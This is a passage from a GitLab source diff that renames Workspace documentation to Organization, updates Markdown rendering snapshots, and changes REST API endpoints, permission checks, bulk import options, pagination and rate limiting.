Our goal is to reach feature parity between SaaS and self-managed installations, with all
[Admin Area settings](/ee/user/admin_area/settings/index.md) moving to either:
-- Groups. Available in the Workspace, top-level groups, and subgroups.
+- Groups. Available in the Organization, and subgroups.
- Hardware Controls. For functionality that does not apply to groups, Hardware Controls are only
applicable to self-managed installations. There is one Hardware Controls section per installation.
-For more information about the state of workspace development,
+For more information about the state of organization development,
see [epic 9265](https://gitlab.com/groups/gitlab-org/-/epics/9265).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
@@ -39,4 +39,4 @@ For a video introduction to the new hierarchy concept for groups and projects fo
## Related topics
-- [Workspace developer documentation](../../development/workspace/index.md)
+- [Organization developer documentation](../../development/workspace/index.md)
diff --git a/glfm_specification/output_example_snapshots/html.yml b/glfm_specification/output_example_snapshots/html.yml
index 06e88ce4b81..f82e9d18150 100644
--- a/glfm_specification/output_example_snapshots/html.yml
+++ b/glfm_specification/output_example_snapshots/html.yml
@@ -423,7 +423,7 @@
canonical: |
<p>## foo</p>
static: |-
- <p data-sourcepos="1:1-1:27" dir="auto"><span>#</span># foo</p>
+ <p data-sourcepos="1:1-1:28" dir="auto"><span>#</span># foo</p>
wysiwyg: |-
<p>## foo</p>
04_02_00__leaf_blocks__atx_headings__005:
@@ -533,11 +533,11 @@
<h2>foo ###</h2>
<h1>foo #</h1>
static: |-
- <h3 data-sourcepos="1:1-1:32" dir="auto">
+ <h3 data-sourcepos="1:1-1:33" dir="auto">
<a id="user-content-foo-" class="anchor" href="#foo-" aria-hidden="true"></a>foo <span>#</span>##</h3>
- <h2 data-sourcepos="2:1-2:31" dir="auto">
+ <h2 data-sourcepos="2:1-2:32" dir="auto">
<a id="user-content-foo--1" class="anchor" href="#foo--1" aria-hidden="true"></a>foo #<span>#</span>#</h2>
- <h1 data-sourcepos="3:1-3:28" dir="auto">
+ <h1 data-sourcepos="3:1-3:29" dir="auto">
<a id="user-content-foo--2" class="anchor" href="#foo--2" aria-hidden="true"></a>foo <span>#</span>
</h1>
wysiwyg: |-
@@ -4785,7 +4785,7 @@
canonical: |
<p>!&quot;#$%&amp;'()*+,-./:;&lt;=&gt;?@[\]^_`{|}~</p>
static: |-
- <p data-sourcepos="1:1-1:224" dir="auto"><span>!</span>"<span>#</span><span>$</span><span>%</span><span>&amp;</span>'()*+,-./:;&lt;=&gt;?<span>@</span>[\]<span>^</span>_`{|}<span>~</span></p>
+ <p data-sourcepos="1:1-1:295" dir="auto"><span>!</span>"<span>#</span><span>$</span><span>%</span><span>&amp;</span>'()*+,-./:;&lt;=&gt;?<span>@</span>[\]<span>^</span><span>_</span>`<span>{</span>|<span>}</span><span>~</span></p>
wysiwyg: |-
<p>!"#$%&amp;'()*+,-./:;&lt;=&gt;?@[\]^_`{|}~</p>
06_02_00__inlines__backslash_escapes__002:
@@ -4804,7 +4804,7 @@
[foo]: /url &quot;not a reference&quot;
&amp;ouml; not a character entity</p>
static: |-
- <p data-sourcepos="1:1-9:50" dir="auto">*not emphasized*
+ <p data-sourcepos="1:1-9:51" dir="auto">*not emphasized*
&lt;br/&gt; not a tag
<a href="/foo">not a link</a>
`not code`
@@ -5929,7 +5929,7 @@
canonical: |
<p>foo <em>_</em></p>
static: |-
- <p data-sourcepos="1:1-1:8" dir="auto">foo <em>_</em></p>
+ <p data-sourcepos="1:1-1:29" dir="auto">foo <em><span>_</span></em></p>
wysiwyg: |-
<p>foo <em>_</em></p>
06_05_00__inlines__emphasis_and_strong_emphasis__100:
@@ -5950,7 +5950,7 @@
canonical: |
<p>foo <strong>_</strong></p>
static: |-
- <p data-sourcepos="1:1-1:10" dir="auto">foo <strong>_</strong></p>
+ <p data-sourcepos="1:1-1:31" dir="auto">foo <strong><span>_</span></strong></p>
wysiwyg: |-
<p>foo <strong>_</strong></p>
06_05_00__inlines__emphasis_and_strong_emphasis__103:
@@ -6639,7 +6639,7 @@
canonical: |
<p>[bar][foo!]</p>
static: |-
- <p data-sourcepos="1:1-1:32" dir="auto">[bar][foo<span>!</span>]</p>
+ <p data-sourcepos="1:1-1:33" dir="auto">[bar][foo<span>!</span>]</p>
wysiwyg: |-
<p>[bar][foo!]</p>
<pre>[foo!]: /url</pre>
@@ -7043,7 +7043,7 @@
canonical: |
<p>!<a href="/url" title="title">foo</a></p>
static: |-
- <p data-sourcepos="1:1-1:27" dir="auto"><span>!</span><a href="/url" title="title">foo</a></p>
+ <p data-sourcepos="1:1-1:28" dir="auto"><span>!</span><a href="/url" title="title">foo</a></p>
wysiwyg: |-
<p>!<a target="_blank" rel="noopener noreferrer nofollow" href="/url" title="title">foo</a></p>
<pre>[foo]: /url "title"</pre>
@@ -8441,7 +8441,7 @@
canonical: |
TODO: Write canonical HTML for this example
static: |-
- <p data-sourcepos="1:1-1:36" dir="auto">This math is inline <code class="code math js-render-math" data-math-style="inline">a^2+b^2=c^2</code>.</p>
+ <p data-sourcepos="1:1-1:36" dir="auto">This math is inline <code data-math-style="inline" class="code math js-render-math">a^2+b^2=c^2</code>.</p>
<p data-sourcepos="3:1-3:27" dir="auto">This is on a separate line:</p>
<div class="gl-relative markdown-code-block js-markdown-code">
<pre data-sourcepos="5:1-7:3" lang="math" data-math-style="display" class="js-render-math code highlight js-syntax-highlight language-math" v-pre="true"><code><span id="LC1" class="line" lang="math">a^2+b^2=c^2</span></code></pre>
diff --git a/glfm_specification/output_example_snapshots/snapshot_spec.html b/glfm_specification/output_example_snapshots/snapshot_spec.html
index 080712d1b4e..415ad1d0b11 100644
--- a/glfm_specification/output_example_snapshots/snapshot_spec.html
+++ b/glfm_specification/output_example_snapshots/snapshot_spec.html
@@ -6849,7 +6849,7 @@ not have their usual Markdown meanings:</p>
<span id="LC6" class="line" lang="plaintext">\* not a list</span>
<span id="LC7" class="line" lang="plaintext">\# not a heading</span>
<span id="LC8" class="line" lang="plaintext">\[foo]: /url "not a reference"</span>
-<span id="LC9" class="line" lang="plaintext">\&amp;ouml; not a character entity</span></code></pre>
+<span id="LC9" class="line" lang="plaintext">\ö not a character entity</span></code></pre>
<copy-code></copy-code>
</div>
<div class="gl-relative markdown-code-block js-markdown-code">
diff --git a/lib/api/api.rb b/lib/api/api.rb
index b23b11d0c29..5e449022676 100644
--- a/lib/api/api.rb
+++ b/lib/api/api.rb
@@ -254,6 +254,7 @@ module API
mount ::API::NugetProjectPackages
mount ::API::PackageFiles
mount ::API::Pages
+ mount ::API::PagesDomains
mount ::API::PersonalAccessTokens::SelfInformation
mount ::API::PersonalAccessTokens
mount ::API::ProjectClusters
@@ -296,6 +297,7 @@ module API
mount ::API::UsageData
mount ::API::UsageDataNonSqlMetrics
mount ::API::UsageDataQueries
+ mount ::API::Users
mount ::API::UserCounts
mount ::API::Wikis
@@ -318,7 +320,6 @@ module API
mount ::API::Labels
mount ::API::Notes
mount ::API::NotificationSettings
- mount ::API::PagesDomains
mount ::API::ProjectEvents
mount ::API::ProjectMilestones
mount ::API::ProtectedTags
@@ -333,7 +334,6 @@ module API
mount ::API::Todos
mount ::API::UsageData
mount ::API::UsageDataNonSqlMetrics
- mount ::API::Users
mount ::API::Ml::Mlflow
end
diff --git a/lib/api/appearance.rb b/lib/api/appearance.rb
index 2cef1b27504..99278bdf8b0 100644
--- a/lib/api/appearance.rb
+++ b/lib/api/appearance.rb
@@ -26,10 +26,11 @@ module API
end
params do
optional :title, type: String, desc: 'Instance title on the sign in / sign up page'
- optional :short_title, type: String, desc: 'Short title for Progressive Web App'
+ optional :pwa_short_name, type: String, desc: 'Optional, short name for Progressive Web App'
optional :description, type: String, desc: 'Markdown text shown on the sign in / sign up page'
# TODO: remove rubocop disable - https://gitlab.com/gitlab-org/gitlab/issues/14960
optional :logo, type: File, desc: 'Instance image used on the sign in / sign up page' # rubocop:disable Scalability/FileUploads
+ optional :pwa_icon, type: File, desc: 'Icon used for Progressive Web App' # rubocop:disable Scalability/FileUploads
optional :header_logo, type: File, desc: 'Instance image used for the main navigation bar' # rubocop:disable Scalability/FileUploads
optional :favicon, type: File, desc: 'Instance favicon in .ico/.png format' # rubocop:disable Scalability/FileUploads
optional :new_project_guidelines, type: String, desc: 'Markdown text shown on the new project page'
diff --git a/lib/api/branches.rb b/lib/api/branches.rb
index 845e42c2ed8..5ae1a80a7fd 100644
--- a/lib/api/branches.rb
+++ b/lib/api/branches.rb
@@ -24,6 +24,7 @@ module API
helpers do
params :filter_params do
optional :search, type: String, desc: 'Return list of branches matching the search criteria'
+ optional :regex, type: String, desc: 'Return list of branches matching the regex'
optional :sort, type: String, desc: 'Return list of branches sorted by the given field', values: %w[name_asc updated_asc updated_desc]
end
end
diff --git a/lib/api/bulk_imports.rb b/lib/api/bulk_imports.rb
index a28db321348..6c07b15329e 100644
--- a/lib/api/bulk_imports.rb
+++ b/lib/api/bulk_imports.rb
@@ -33,7 +33,7 @@ module API
end
before do
- not_found! unless ::BulkImports::Features.enabled?
+ not_found! unless Gitlab::CurrentSettings.bulk_import_enabled?
authenticate!
end
@@ -61,12 +61,30 @@ module API
type: String,
desc: 'Source entity type (only `group_entity` is supported)',
values: %w[group_entity]
- requires :source_full_path, type: String, desc: 'Source full path of the entity to import'
- requires :destination_namespace, type: String, desc: 'Destination namespace for the entity'
- optional :destination_slug, type: String, desc: 'Destination slug for the entity'
+ requires :source_full_path,
+ type: String,
+ desc: 'Relative path of the source entity to import',
+ source_full_path: true,
+ documentation: { example: "'source/full/path' not 'https://example.com/source/full/path'" }
+ requires :destination_namespace,
+ type: String,
+ desc: 'Destination namespace for the entity',
+ destination_namespace_path: true,
+ documentation: { example: "'destination_namespace' or 'destination/namespace'" }
+ optional :destination_slug,
+ type: String,
+ desc: 'Destination slug for the entity',
+ destination_slug_path: true,
+ documentation: { example: "'destination_slug' not 'destination/slug'" }
optional :destination_name,
type: String,
- desc: 'Deprecated: Use :destination_slug instead. Destination slug for the entity'
+ desc: 'Deprecated: Use :destination_slug instead. Destination slug for the entity',
+ destination_slug_path: true,
+ documentation: { example: "'destination_slug' not 'destination/slug'" }
+ optional :migrate_projects,
+ type: Boolean,
+ default: true,
+ desc: 'Indicates group migration should include nested projects'
mutually_exclusive :destination_slug, :destination_name
at_least_one_of :destination_slug, :destination_name
diff --git a/lib/api/ci/jobs.rb b/lib/api/ci/jobs.rb
index bb57a717f7c..ed1c7dfbfa2 100644
--- a/lib/api/ci/jobs.rb
+++ b/lib/api/ci/jobs.rb
@@ -53,11 +53,15 @@ module API
authorize_read_builds!
- builds = user_project.builds.order('id DESC')
+ builds = user_project.builds.order(id: :desc)
builds = filter_builds(builds, params[:scope])
builds = builds.preload(:user, :job_artifacts_archive, :job_artifacts, :runner, :tags, pipeline: :project)
- present paginate(builds, without_count: true), with: Entities::Ci::Job
+ if Feature.enabled?(:jobs_api_keyset_pagination, user_project)
+ present paginate_with_strategies(builds, paginator_params: { without_count: true }), with: Entities::Ci::Job
+ else
+ present paginate(builds, without_count: true), with: Entities::Ci::Job
+ end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/api/ci/runner.rb b/lib/api/ci/runner.rb
index b073eb49bf1..6b4394114df 100644
--- a/lib/api/ci/runner.rb
+++ b/lib/api/ci/runner.rb
@@ -312,6 +312,7 @@ module API
optional :artifact_format, type: String, desc: %q(The format of artifact),
default: 'zip', values: ::Ci::JobArtifact.file_formats.keys
optional :metadata, type: ::API::Validations::Types::WorkhorseFile, desc: %(The artifact metadata to store (generated by Multipart middleware)), documentation: { type: 'file' }
+ optional :accessibility, type: String, desc: %q(Specify accessibility level of artifact private/public)
end
post '/:id/artifacts', feature_category: :build_artifacts, urgency: :low do
not_allowed! unless Gitlab.config.artifacts.enabled
diff --git a/lib/api/concerns/packages/debian_distribution_endpoints.rb b/lib/api/concerns/packages/debian_distribution_endpoints.rb
index 76b996f2301..6fe3f432edb 100644
--- a/lib/api/concerns/packages/debian_distribution_endpoints.rb
+++ b/lib/api/concerns/packages/debian_distribution_endpoints.rb
@@ -80,10 +80,10 @@ module API
use :optional_distribution_params
end
post '/' do
- authorize_create_package!(project_or_group)
+ authorize_create_package!(project_or_group(:read_project))
distribution_params = declared_params(include_missing: false)
- result = ::Packages::Debian::CreateDistributionService.new(project_or_group, current_user, distribution_params).execute
+ result = ::Packages::Debian::CreateDistributionService.new(project_or_group(:read_project), current_user, distribution_params).execute
created_distribution = result.payload[:distribution]
if result.success?
@@ -183,7 +183,7 @@ module API
use :optional_distribution_params
end
put '/:codename' do
- authorize_create_package!(project_or_group)
+ authorize_create_package!(project_or_group(:read_project))
distribution_params = declared_params(include_missing: false).except(:codename)
result = ::Packages::Debian::UpdateDistributionService.new(distribution, distribution_params).execute
@@ -214,7 +214,7 @@ module API
use :optional_distribution_params
end
delete '/:codename' do
- authorize_destroy_package!(project_or_group)
+ authorize_destroy_package!(project_or_group(:read_project))
accepted! if distribution.destroy
diff --git a/lib/api/concerns/packages/debian_package_endpoints.rb b/lib/api/concerns/packages/debian_package_endpoints.rb
index 842250d351b..181759a7f38 100644
--- a/lib/api/concerns/packages/debian_package_endpoints.rb
+++ b/lib/api/concerns/packages/debian_package_endpoints.rb
@@ -35,10 +35,10 @@ module API
::Packages::Debian::DistributionsFinder.new(container, codename_or_suite: params[:distribution]).execute.last!
end
- def present_distribution_package_file!
+ def present_distribution_package_file!(project)
not_found! unless params[:package_name].start_with?(params[:letter])
- package_file = distribution_from!(user_project).package_files.with_file_name(params[:file_name]).last!
+ package_file = distribution_from!(project).package_files.with_file_name(params[:file_name]).last!
present_package_file!(package_file)
end
diff --git a/lib/api/concerns/packages/nuget_endpoints.rb b/lib/api/concerns/packages/nuget_endpoints.rb
index 31ecb529c3c..5f32f0544f4 100644
--- a/lib/api/concerns/packages/nuget_endpoints.rb
+++ b/lib/api/concerns/packages/nuget_endpoints.rb
@@ -64,7 +64,7 @@ module API
tags %w[nuget_packages]
end
get 'index', format: :json, urgency: :default do
- authorize_read_package!(project_or_group)
+ authorize_packages_access!(project_or_group, required_permission)
track_package_event('cli_metadata', :nuget, **snowplow_gitlab_standard_context.merge(category: 'API::NugetPackages'))
@@ -78,7 +78,7 @@ module API
end
namespace '/metadata/*package_name' do
after_validation do
- authorize_read_package!(project_or_group)
+ authorize_packages_access!(project_or_group, required_permission)
end
desc 'The NuGet Metadata Service - Package name level' do
@@ -124,7 +124,7 @@ module API
end
namespace '/query' do
after_validation do
- authorize_read_package!(project_or_group)
+ authorize_packages_access!(project_or_group, required_permission)
end
desc 'The NuGet Search Service' do
diff --git a/lib/api/debian_group_packages.rb b/lib/api/debian_group_packages.rb
index 105a0955912..483d0dd9c90 100644
--- a/lib/api/debian_group_packages.rb
+++ b/lib/api/debian_group_packages.rb
@@ -12,10 +12,6 @@ module API
resource :groups, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
helpers do
- def user_project
- @project ||= find_project!(params[:project_id])
- end
-
def project_or_group
user_group
end
@@ -55,7 +51,7 @@ module API
route_setting :authentication, authenticate_non_public: true
get 'pool/:distribution/:project_id/:letter/:package_name/:package_version/:file_name', requirements: PACKAGE_FILE_REQUIREMENTS do
- present_distribution_package_file!
+ present_distribution_package_file!(find_project!(params[:project_id]))
end
end
end
diff --git a/lib/api/debian_project_packages.rb b/lib/api/debian_project_packages.rb
index 23a542e4183..353f64b8dd1 100644
--- a/lib/api/debian_project_packages.rb
+++ b/lib/api/debian_project_packages.rb
@@ -21,16 +21,16 @@ module API
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
helpers do
def project_or_group
- user_project
+ user_project(action: :read_package)
end
end
after_validation do
require_packages_enabled!
- not_found! unless ::Feature.enabled?(:debian_packages, user_project)
+ not_found! unless ::Feature.enabled?(:debian_packages, project_or_group)
- authorize_read_package!
+ authorize_read_package!(project_or_group)
end
params do
@@ -58,7 +58,7 @@ module API
route_setting :authentication, authenticate_non_public: true
get 'pool/:distribution/:letter/:package_name/:package_version/:file_name', requirements: PACKAGE_FILE_REQUIREMENTS do
- present_distribution_package_file!
+ present_distribution_package_file!(project_or_group)
end
params do
diff --git a/lib/api/discussions.rb b/lib/api/discussions.rb
index d3a25a076a0..768ffac41ce 100644
--- a/lib/api/discussions.rb
+++ b/lib/api/discussions.rb
@@ -254,7 +254,7 @@ module API
def readable_discussion_notes(noteable, discussion_ids)
notes = noteable.notes
.with_discussion_ids(discussion_ids)
- .inc_relations_for_view
+ .inc_relations_for_view(noteable)
.includes(:noteable)
.fresh
diff --git a/lib/api/entities/appearance.rb b/lib/api/entities/appearance.rb
index 94a39568393..cabdf68c23a 100644
--- a/lib/api/entities/appearance.rb
+++ b/lib/api/entities/appearance.rb
@@ -4,13 +4,17 @@ module API
module Entities
class Appearance < Grape::Entity
expose :title
- expose :short_title
+ expose :pwa_short_name
expose :description
expose :logo do |appearance, options|
appearance.logo.url
end
+ expose :pwa_icon do |appearance, options|
+ appearance.pwa_icon.url
+ end
+
expose :header_logo do |appearance, options|
appearance.header_logo.url
end
diff --git a/lib/api/entities/application_setting.rb b/lib/api/entities/application_setting.rb
index db51d4380d0..8aace9126d6 100644
--- a/lib/api/entities/application_setting.rb
+++ b/lib/api/entities/application_setting.rb
@@ -43,6 +43,11 @@ module API
# This field is deprecated and always returns true
expose(:housekeeping_bitmaps_enabled) { |_settings, _options| true }
+
+ # These fields are deprecated and always returns housekeeping_optimize_repository_period value
+ expose(:housekeeping_full_repack_period) { |settings, _options| settings.housekeeping_optimize_repository_period }
+ expose(:housekeeping_gc_period) { |settings, _options| settings.housekeeping_optimize_repository_period }
+ expose(:housekeeping_incremental_repack_period) { |settings, _options| settings.housekeeping_optimize_repository_period }
end
end
end
diff --git a/lib/api/entities/basic_project_details.rb b/lib/api/entities/basic_project_details.rb
index 2585b2d0b6d..f89e5adca6d 100644
--- a/lib/api/entities/basic_project_details.rb
+++ b/lib/api/entities/basic_project_details.rb
@@ -15,7 +15,10 @@ module API
expose :ssh_url_to_repo, documentation: { type: 'string', example: 'git@gitlab.example.com:gitlab/gitlab.git' }
expose :http_url_to_repo, documentation: { type: 'string', example: 'https://gitlab.example.com/gitlab/gitlab.git' }
expose :web_url, documentation: { type: 'string', example: 'https://gitlab.example.com/gitlab/gitlab' }
- expose :readme_url, documentation: { type: 'string', example: 'https://gitlab.example.com/gitlab/gitlab/blob/master/README.md' }
+ with_options if: ->(_, _) { user_has_access_to_project_repository? } do
+ expose :readme_url, documentation: { type: 'string', example: 'https://gitlab.example.com/gitlab/gitlab/blob/master/README.md' }
+ expose :forks_count, documentation: { type: 'integer', example: 1 }
+ end
expose :license_url, if: :license, documentation: { type: 'string', example: 'https://gitlab.example.com/gitlab/gitlab/blob/master/LICENCE' } do |project|
license = project.repository.license_blob
@@ -33,7 +36,6 @@ module API
project.avatar_url(only_path: false)
end
- expose :forks_count, documentation: { type: 'integer', example: 1 }
expose :star_count, documentation: { type: 'integer', example: 1 }
expose :last_activity_at, documentation: { type: 'dateTime', example: '2013-09-30T13:46:02Z' }
expose :namespace, using: 'API::Entities::NamespaceBasic'
@@ -74,6 +76,10 @@ module API
project.topics.pluck(:name).sort # rubocop:disable CodeReuse/ActiveRecord
end
end
+
+ def user_has_access_to_project_repository?
+ Ability.allowed?(options[:current_user], :read_code, project)
+ end
end
end
end
diff --git a/lib/api/entities/bulk_imports/entity.rb b/lib/api/entities/bulk_imports/entity.rb
index 8f9fbe57935..176d10b2580 100644
--- a/lib/api/entities/bulk_imports/entity.rb
+++ b/lib/api/entities/bulk_imports/entity.rb
@@ -9,7 +9,11 @@ module API
expose :status_name, as: :status, documentation: {
type: 'string', example: 'created', values: %w[created started finished timeout failed]
}
+ expose :entity_type, documentation: { type: 'string', values: %w[group project] }
expose :source_full_path, documentation: { type: 'string', example: 'source_group' }
+ expose :full_path, as: :destination_full_path, documentation: {
+ type: 'string', example: 'some_group/source_project'
+ }
expose :destination_name, documentation: { type: 'string', example: 'destination_slug' } # deprecated
expose :destination_slug, documentation: { type: 'string', example: 'destination_slug' }
expose :destination_namespace, documentation: { type: 'string', example: 'destination_path' }
@@ -19,6 +23,7 @@ module API
expose :created_at, documentation: { type: 'dateTime', example: '2012-05-28T04:42:42-07:00' }
expose :updated_at, documentation: { type: 'dateTime', example: '2012-05-28T04:42:42-07:00' }
expose :failures, using: EntityFailure, documentation: { is_array: true }
+ expose :migrate_projects, documentation: { type: 'boolean', example: true }
end
end
end
diff --git a/lib/api/entities/ml/mlflow/run_info.rb b/lib/api/entities/ml/mlflow/run_info.rb
index d3934545ba4..60e4416e011 100644
--- a/lib/api/entities/ml/mlflow/run_info.rb
+++ b/lib/api/entities/ml/mlflow/run_info.rb
@@ -10,6 +10,7 @@ module API
expose(:experiment_id) { |candidate| candidate.experiment.iid.to_s }
expose(:start_time) { |candidate| candidate.start_time || 0 }
expose :end_time, expose_nil: false
+ expose :name, as: :run_name, expose_nil: false
expose(:status) { |candidate| candidate.status.to_s.upcase }
expose(:artifact_uri) { |candidate, options| "#{options[:packages_url]}#{candidate.artifact_root}" }
expose(:lifecycle_stage) { |candidate| 'active' }
diff --git a/lib/api/entities/project_integration_basic.rb b/lib/api/entities/project_integration_basic.rb
index aa0ad158b83..b7c56d7cca1 100644
--- a/lib/api/entities/project_integration_basic.rb
+++ b/lib/api/entities/project_integration_basic.rb
@@ -14,6 +14,7 @@ module API
expose :commit_events, documentation: { type: 'boolean' }
expose :push_events, documentation: { type: 'boolean' }
expose :issues_events, documentation: { type: 'boolean' }
+ expose :incident_events, documentation: { type: 'boolean' }
expose :confidential_issues_events, documentation: { type: 'boolean' }
expose :merge_requests_events, documentation: { type: 'boolean' }
expose :tag_push_events, documentation: { type: 'boolean' }
diff --git a/lib/api/entities/remote_mirror.rb b/lib/api/entities/remote_mirror.rb
index 9fb5b2697bc..f64ec71bffb 100644
--- a/lib/api/entities/remote_mirror.rb
+++ b/lib/api/entities/remote_mirror.rb
@@ -16,3 +16,5 @@ module API
end
end
end
+
+API::Entities::RemoteMirror.prepend_mod
diff --git a/lib/api/environments.rb b/lib/api/environments.rb
index 01d46ee7bfb..64510a9615a 100644
--- a/lib/api/environments.rb
+++ b/lib/api/environments.rb
@@ -12,6 +12,8 @@ module API
feature_category :continuous_delivery
urgency :low
+ MIN_SEARCH_LENGTH = 3
+
params do
requires :id, types: [String, Integer], desc: 'The ID or URL-encoded path of the project owned by the authenticated user'
end
@@ -29,7 +31,7 @@ module API
params do
use :pagination
optional :name, type: String, desc: 'Return the environment with this name. Mutually exclusive with search'
- optional :search, type: String, desc: 'Return list of environments matching the search criteria. Mutually exclusive with name'
+ optional :search, type: String, desc: "Return list of environments matching the search criteria. Mutually exclusive with name. Must be at least #{MIN_SEARCH_LENGTH} characters."
optional :states,
type: String,
values: Environment.valid_states.map(&:to_s),
@@ -39,6 +41,10 @@ module API
get ':id/environments' do
authorize! :read_environment, user_project
+ if Feature.enabled?(:environment_search_api_min_chars, user_project) && params[:search].present? && params[:search].length < MIN_SEARCH_LENGTH
+ bad_request!("Search query is less than #{MIN_SEARCH_LENGTH} characters")
+ end
+
environments = ::Environments::EnvironmentsFinder.new(user_project, current_user, declared_params(include_missing: false)).execute
present paginate(environments), with: Entities::Environment, current_user: current_user
@@ -182,6 +188,35 @@ module API
present environment, with: Entities::Environment, current_user: current_user
end
+ desc 'Stop stale environments' do
+ detail 'It returns `200` if stale environment check was scheduled successfully'
+ failure [
+ { code: 400, message: 'Bad request' },
+ { code: 401, message: 'Unauthorized' }
+ ]
+ tags %w[environments]
+ end
+ params do
+ requires :before,
+ type: DateTime,
+ desc: 'Stop all environments that were last modified or deployed to before this date.'
+ end
+ post ':id/environments/stop_stale' do
+ authorize! :stop_environment, user_project
+
+ bad_request!('Invalid Date') if params[:before] < 10.years.ago || params[:before] > 1.week.ago
+
+ service_response = ::Environments::StopStaleService.new(user_project, current_user, params.slice(:before)).execute
+
+ if service_response.error?
+ status 400
+ else
+ status 200
+ end
+
+ present message: service_response.message
+ end
+
desc 'Get a specific environment' do
success Entities::Environment
failure [
diff --git a/lib/api/files.rb b/lib/api/files.rb
index b02f1a8728b..18638abd184 100644
--- a/lib/api/files.rb
+++ b/lib/api/files.rb
@@ -151,19 +151,6 @@ module API
present blame_ranges, with: Entities::BlameRange
end
- desc 'Get raw file metadata from repository'
- params do
- requires :file_path, type: String, file_path: true,
- desc: 'The url encoded path to the file.', documentation: { example: 'lib%2Fclass%2Erb' }
- optional :ref, type: String,
- desc: 'The name of branch, tag or commit', allow_blank: false, documentation: { example: 'main' }
- end
- head ":id/repository/files/:file_path/raw", requirements: FILE_ENDPOINT_REQUIREMENTS, urgency: :low do
- assign_file_vars!
-
- set_http_headers(blob_data)
- end
-
desc 'Get raw file contents from the repository' do
success File
end
diff --git a/lib/api/group_debian_distributions.rb b/lib/api/group_debian_distributions.rb
index 0364e2e7b56..8b6d4b8c4b2 100644
--- a/lib/api/group_debian_distributions.rb
+++ b/lib/api/group_debian_distributions.rb
@@ -19,7 +19,7 @@ module API
namespace ':id/-' do
helpers do
- def project_or_group
+ def project_or_group(_ = nil)
user_group
end
end
diff --git a/lib/api/group_export.rb b/lib/api/group_export.rb
index eb0a01e0d3d..37dfbfdb925 100644
--- a/lib/api/group_export.rb
+++ b/lib/api/group_export.rb
@@ -64,67 +64,73 @@ module API
end
end
- desc 'Start relations export' do
- detail 'This feature was introduced in GitLab 13.12'
- tags %w[group_export]
- success code: 202
- failure [
- { code: 401, message: 'Unauthorized' },
- { code: 403, message: 'Forbidden' },
- { code: 404, message: 'Not found' },
- { code: 503, message: 'Service unavailable' }
- ]
- end
- post ':id/export_relations' do
- response = ::BulkImports::ExportService.new(portable: user_group, user: current_user).execute
+ resource do
+ before do
+ not_found! unless Gitlab::CurrentSettings.bulk_import_enabled?
+ end
- if response.success?
- accepted!
- else
- render_api_error!(message: 'Group relations export could not be started.')
+ desc 'Start relations export' do
+ detail 'This feature was introduced in GitLab 13.12'
+ tags %w[group_export]
+ success code: 202
+ failure [
+ { code: 401, message: 'Unauthorized' },
+ { code: 403, message: 'Forbidden' },
+ { code: 404, message: 'Not found' },
+ { code: 503, message: 'Service unavailable' }
+ ]
end
- end
+ post ':id/export_relations' do
+ response = ::BulkImports::ExportService.new(portable: user_group, user: current_user).execute
- desc 'Download relations export' do
- detail 'This feature was introduced in GitLab 13.12'
- produces %w[application/octet-stream application/json]
- tags %w[group_export]
- success code: 200
- failure [
- { code: 401, message: 'Unauthorized' },
- { code: 403, message: 'Forbidden' },
- { code: 404, message: 'Not found' },
- { code: 503, message: 'Service unavailable' }
- ]
- end
- params do
- requires :relation, type: String, desc: 'Group relation name'
- end
- get ':id/export_relations/download' do
- export = user_group.bulk_import_exports.find_by_relation(params[:relation])
- file = export&.upload&.export_file
+ if response.success?
+ accepted!
+ else
+ render_api_error!(message: 'Group relations export could not be started.')
+ end
+ end
- if file
- present_carrierwave_file!(file)
- else
- render_api_error!('404 Not found', 404)
+ desc 'Download relations export' do
+ detail 'This feature was introduced in GitLab 13.12'
+ produces %w[application/octet-stream application/json]
+ tags %w[group_export]
+ success code: 200
+ failure [
+ { code: 401, message: 'Unauthorized' },
+ { code: 403, message: 'Forbidden' },
+ { code: 404, message: 'Not found' },
+ { code: 503, message: 'Service unavailable' }
+ ]
end
- end
+ params do
+ requires :relation, type: String, desc: 'Group relation name'
+ end
+ get ':id/export_relations/download' do
+ export = user_group.bulk_import_exports.find_by_relation(params[:relation])
+ file = export&.upload&.export_file
- desc 'Relations export status' do
- detail 'This feature was introduced in GitLab 13.12'
- is_array true
- tags %w[group_export]
- success code: 200, model: Entities::BulkImports::ExportStatus
- failure [
- { code: 401, message: 'Unauthorized' },
- { code: 403, message: 'Forbidden' },
- { code: 404, message: 'Not found' },
- { code: 503, message: 'Service unavailable' }
- ]
- end
- get ':id/export_relations/status' do
- present user_group.bulk_import_exports, with: Entities::BulkImports::ExportStatus
+ if file
+ present_carrierwave_file!(file)
+ else
+ render_api_error!('404 Not found', 404)
+ end
+ end
+
+ desc 'Relations export status' do
+ detail 'This feature was introduced in GitLab 13.12'
+ is_array true
+ tags %w[group_export]
+ success code: 200, model: Entities::BulkImports::ExportStatus
+ failure [
+ { code: 401, message: 'Unauthorized' },
+ { code: 403, message: 'Forbidden' },
+ { code: 404, message: 'Not found' },
+ { code: 503, message: 'Service unavailable' }
+ ]
+ end
+ get ':id/export_relations/status' do
+ present user_group.bulk_import_exports, with: Entities::BulkImports::ExportStatus
+ end
end
end
end
diff --git a/lib/api/helpers.rb b/lib/api/helpers.rb
index 0b5a471ea12..38430aac455 100644
--- a/lib/api/helpers.rb
+++ b/lib/api/helpers.rb
@@ -608,6 +608,8 @@ module API
if file.file_storage?
present_disk_file!(file.path, file.filename)
elsif supports_direct_download && file.class.direct_download_enabled?
+ return redirect(signed_head_url(file)) if head_request_on_aws_file?(file)
+
redirect(cdn_fronted_url(file))
else
header(*Gitlab::Workhorse.send_url(file.url))
@@ -695,8 +697,31 @@ module API
unprocessable_entity!('User must be authenticated to use search')
end
+ def validate_search_rate_limit!
+ return unless Feature.enabled?(:rate_limit_issuable_searches)
+
+ if current_user
+ check_rate_limit!(:search_rate_limit, scope: [current_user])
+ else
+ check_rate_limit!(:search_rate_limit_unauthenticated, scope: [ip_address])
+ end
+ end
+
private
+ def head_request_on_aws_file?(file)
+ request.head? && file.fog_credentials[:provider] == 'AWS'
+ end
+
+ def signed_head_url(file)
+ fog_storage = ::Fog::Storage.new(file.fog_credentials)
+ fog_dir = fog_storage.directories.new(key: file.fog_directory)
+ fog_file = fog_dir.files.new(key: file.path)
+ expire_at = ::Fog::Time.now + file.fog_authenticated_url_expiration
+
+ fog_file.collection.head_url(fog_file.key, expire_at)
+ end
+
